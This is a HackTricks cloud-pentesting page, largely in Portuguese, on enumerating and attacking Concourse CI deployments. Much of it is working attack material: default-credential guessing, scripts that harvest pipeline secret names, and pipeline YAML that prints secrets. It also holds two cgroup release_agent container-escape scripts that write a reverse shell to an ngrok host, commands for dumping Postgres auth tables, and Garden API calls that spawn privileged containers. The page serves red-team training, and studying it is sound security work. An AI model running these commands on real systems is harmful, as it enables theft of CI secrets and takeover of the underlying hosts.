Concourse Enumeration & Attacks

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Check the subscription plans!
Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

User Roles & Permissions

Concourse vem com cinco papéis:

Concourse Admin: Este papel é dado apenas aos proprietários da equipe principal (equipe inicial padrão do concourse). Os administradores podem configurar outras equipes (por exemplo: fly set-team, fly destroy-team...). As permissões deste papel não podem ser afetadas pelo RBAC.
owner: Os proprietários da equipe podem modificar tudo dentro da equipe.
member: Os membros da equipe podem ler e escrever dentro dos ativos da equipe, mas não podem modificar as configurações da equipe.
pipeline-operator: Os operadores de pipeline podem realizar operações de pipeline como acionar builds e fixar recursos, no entanto, não podem atualizar as configurações do pipeline.
viewer: Os visualizadores da equipe têm acesso "somente leitura" a uma equipe e seus pipelines.

Além disso, as permissões dos papéis owner, member, pipeline-operator e viewer podem ser modificadas configurando o RBAC (configurando mais especificamente suas ações). Leia mais sobre isso em: https://concourse-ci.org/user-roles.html

Note que o Concourse agrupa pipelines dentro de Equipes. Portanto, usuários pertencentes a uma Equipe poderão gerenciar esses pipelines e várias Equipes podem existir. Um usuário pode pertencer a várias Equipes e ter permissões diferentes dentro de cada uma delas.

Vars & Credential Manager

Nos arquivos de configuração YAML, você pode configurar valores usando a sintaxe ((_source-name_:_secret-path_._secret-field_)). Dos docs: O source-name é opcional, e se omitido, o gerenciador de credenciais em todo o cluster será usado, ou o valor pode ser fornecido estaticamente. O campo _secret-field_ opcional especifica um campo no segredo obtido para leitura. Se omitido, o gerenciador de credenciais pode optar por ler um 'campo padrão' da credencial obtida, se o campo existir. Além disso, o secret-path e secret-field podem ser cercados por aspas duplas "..." se contiverem caracteres especiais como . e :. Por exemplo, ((source:"my.secret"."field:1")) definirá o secret-path como my.secret e o secret-field como field:1.

Static Vars

Variáveis estáticas podem ser especificadas em etapas de tarefas:

- task: unit-1.13
file: booklit/ci/unit.yml
vars: {tag: 1.13}

Or usando os seguintes fly argumentos:

-v ou --var NAME=VALUE define a string VALUE como o valor para a var NAME.
-y ou --yaml-var NAME=VALUE analisa VALUE como YAML e define como o valor para a var NAME.
-i ou --instance-var NAME=VALUE analisa VALUE como YAML e define como o valor para a var de instância NAME. Veja Agrupando Pipelines para saber mais sobre vars de instância.
-l ou --load-vars-from FILE carrega FILE, um documento YAML contendo mapeamento de nomes de var para valores, e define todos eles.

Gerenciamento de Credenciais

Existem diferentes maneiras de um Gerenciador de Credenciais ser especificado em um pipeline, leia como em https://concourse-ci.org/creds.html. Além disso, o Concourse suporta diferentes gerenciadores de credenciais:

Observe que se você tiver algum tipo de acesso de gravação ao Concourse, pode criar jobs para exfiltrar esses segredos, pois o Concourse precisa ser capaz de acessá-los.

Enumeração do Concourse

Para enumerar um ambiente do concourse, você primeiro precisa coletar credenciais válidas ou encontrar um token autenticado, provavelmente em um arquivo de configuração .flyrc.

Para fazer login, você precisa saber o endpoint, o nome da equipe (o padrão é main) e uma equipe à qual o usuário pertence:
fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
Obter alvos configurados:
fly targets
Verificar se a conexão do alvo configurado ainda é válida:
fly -t <target> status
Obter papel do usuário em relação ao alvo indicado:
fly -t <target> userinfo

Observe que o token da API é salvo em $HOME/.flyrc por padrão, você, ao invadir uma máquina, pode encontrar lá as credenciais.

Equipes & Usuários

Obter uma lista das Equipes
fly -t <target> teams
Obter papéis dentro da equipe
fly -t <target> get-team -n <team-name>
Obter uma lista de usuários
fly -t <target> active-users

Pipelines

Listar pipelines:
fly -t <target> pipelines -a
Obter yaml do pipeline (informações sensíveis podem ser encontradas na definição):
fly -t <target> get-pipeline -p <pipeline-name>
Obter todas as vars declaradas na configuração do pipeline
for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
Obter todos os nomes de segredos de pipelines usados (se você puder criar/modificar um job ou sequestrar um contêiner, poderá exfiltrá-los):

rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Containers & Workers

Listar workers:
fly -t <target> workers
Listar containers:
fly -t <target> containers
Listar builds (para ver o que está rodando):
fly -t <target> builds

Concourse Attacks

Credentials Brute-Force

admin:admin
test:test

Enumeração de segredos e parâmetros

Na seção anterior, vimos como você pode obter todos os nomes e variáveis dos segredos usados pelo pipeline. As variáveis podem conter informações sensíveis e o nome dos segredos será útil mais tarde para tentar roubá-los.

Sessão dentro de um container em execução ou recentemente executado

Se você tiver privilégios suficientes (papel de membro ou mais) você poderá listar pipelines e papéis e apenas obter uma sessão dentro do container <pipeline>/<job> usando:

fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Com essas permissões, você pode ser capaz de:

Roubar os segredos dentro do container
Tentar escapar para o nó
Enumerar/Abusar do endpoint de metadados da nuvem (do pod e do nó, se possível)

Criação/Modificação de Pipeline

Se você tiver privilégios suficientes (papel de membro ou mais), você poderá criar/modificar novos pipelines. Confira este exemplo:

jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Com a modificação/criação de um novo pipeline, você poderá:

Roubar os segredos (via ecoando-os ou entrando no contêiner e executando env)
Escapar para o nó (dando a você privilégios suficientes - privileged: true)
Enumerar/Abusar do endpoint de metadados da nuvem (do pod e do nó)
Excluir o pipeline criado

Executar Tarefa Personalizada

Isso é semelhante ao método anterior, mas em vez de modificar/criar um novo pipeline inteiro, você pode apenas executar uma tarefa personalizada (que provavelmente será muito mais furtiva):

# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))

fly -t tutorial execute --privileged --config task_config.yml

Escapando para o nó a partir de uma tarefa privilegiada

Nas seções anteriores, vimos como executar uma tarefa privilegiada com concourse. Isso não dará ao contêiner exatamente o mesmo acesso que a flag privilegiada em um contêiner docker. Por exemplo, você não verá o dispositivo do sistema de arquivos do nó em /dev, então a fuga pode ser mais "complexa".

No seguinte PoC, vamos usar o release_agent para escapar com algumas pequenas modificações:

# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Como você pode ter notado, isso é apenas uma escapada regular do release_agent apenas modificando o caminho do cmd no nó

Escapando para o nó a partir de um contêiner Worker

Uma escapada regular do release_agent com uma modificação menor é suficiente para isso:

mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Escapando para o nó a partir do contêiner Web

Mesmo que o contêiner web tenha algumas defesas desativadas, não está rodando como um contêiner privilegiado comum (por exemplo, você não pode montar e as capacidades são muito limitadas, então todas as maneiras fáceis de escapar do contêiner são inúteis).

No entanto, ele armazena credenciais locais em texto claro:

cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Você pode usar essas credenciais para fazer login no servidor web e criar um contêiner privilegiado e escapar para o nó.

No ambiente, você também pode encontrar informações para acessar a instância do postgresql que o concourse usa (endereço, nome de usuário, senha e banco de dados, entre outras informações):

env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Abusando do Serviço Garden - Não é um Ataque Real

Estas são apenas algumas notas interessantes sobre o serviço, mas como ele está apenas ouvindo no localhost, essas notas não apresentarão nenhum impacto que já não tenhamos explorado antes.

Por padrão, cada trabalhador do concourse estará executando um Garden serviço na porta 7777. Este serviço é usado pelo mestre da Web para indicar ao trabalhador o que ele precisa executar (baixar a imagem e executar cada tarefa). Isso soa muito bem para um atacante, mas há algumas boas proteções:

Está apenas exposto localmente (127..0.0.1) e eu acho que quando o trabalhador se autentica contra a Web com o serviço SSH especial, um túnel é criado para que o servidor web possa conversar com cada serviço Garden dentro de cada trabalhador.
O servidor web está monitorando os contêineres em execução a cada poucos segundos, e contêineres inesperados são deletados. Portanto, se você quiser executar um contêiner personalizado, precisará interferir na comunicação entre o servidor web e o serviço garden.

Os trabalhadores do Concourse são executados com altos privilégios de contêiner:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

No entanto, técnicas como montar o dispositivo /dev do nó ou release_agent não funcionarão (já que o dispositivo real com o sistema de arquivos do nó não é acessível, apenas um virtual). Não podemos acessar processos do nó, então escapar do nó sem exploits de kernel se torna complicado.

Na seção anterior, vimos como escapar de um contêiner privilegiado, então se pudermos executar comandos em um contêiner privilegiado criado pelo trabalhador atual, poderíamos escapar para o nó.

Note que brincando com o concourse, percebi que quando um novo contêiner é gerado para executar algo, os processos do contêiner são acessíveis a partir do contêiner do trabalhador, então é como se um contêiner estivesse criando um novo contêiner dentro dele.

Entrando em um contêiner privilegiado em execução

# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Criando um novo contêiner privilegiado

Você pode criar muito facilmente um novo contêiner (basta executar um UID aleatório) e executar algo nele:

curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

No entanto, o servidor web está verificando a cada poucos segundos os contêineres que estão em execução, e se um inesperado for descoberto, ele será excluído. Como a comunicação está ocorrendo em HTTP, você poderia manipular a comunicação para evitar a exclusão de contêineres inesperados:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Referências

https://concourse-ci.org/vars.html

Suporte ao HackTricks

Confira os planos de assinatura!
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.

PreviousConcourse Lab Creation NextCircleCI Security

Last updated 8 days ago